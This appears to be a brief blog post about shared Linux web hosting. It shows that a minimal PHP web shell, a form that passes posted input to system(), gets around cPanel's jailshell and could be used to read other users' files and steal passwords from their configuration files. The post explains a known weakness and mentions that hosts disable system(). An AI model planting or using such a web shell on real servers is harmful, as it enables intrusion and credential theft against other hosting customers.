Users registering for shared Linux webhosting accounts are normally not provided with shell access. Even if they do, what they can do with the shell is limited, as they are only in a jailed environment, thanks to cPanel’s jailshell. Displaying the SHELL variable at the command prompt verifies this;

$ echo $SHELL
/usr/local/cpanel/bin/jailshell

To briefly show what it means, listing out home directories using the following Linux command reveals that the user is alone in the shell.

$ ls /home/ | wc -l
1

With some simple HTML and PHP, a web based shell can offer something more to the users. The following code can be made available through http://www.anyserver.com/jailshell.php;

<html>
  <body>
    <p>Enter command:
      <form action="jailshell.php" method=post>
      <input type=text name=command>
      <input type=submit name=submit>
      </form>
    </p>
    <pre>
      <?php system ($_POST['command']); ?>
    </pre>
  </body>
</html>

and executing some simple commands as the following shows what it’s capable of.

People with malicious intent can use this method to search other user’s home directories and grep into their web application’s configuration file to steal passwords and other juicy informations.

Most hosting providers already disable system() and other similar functions in their PHP implementation.

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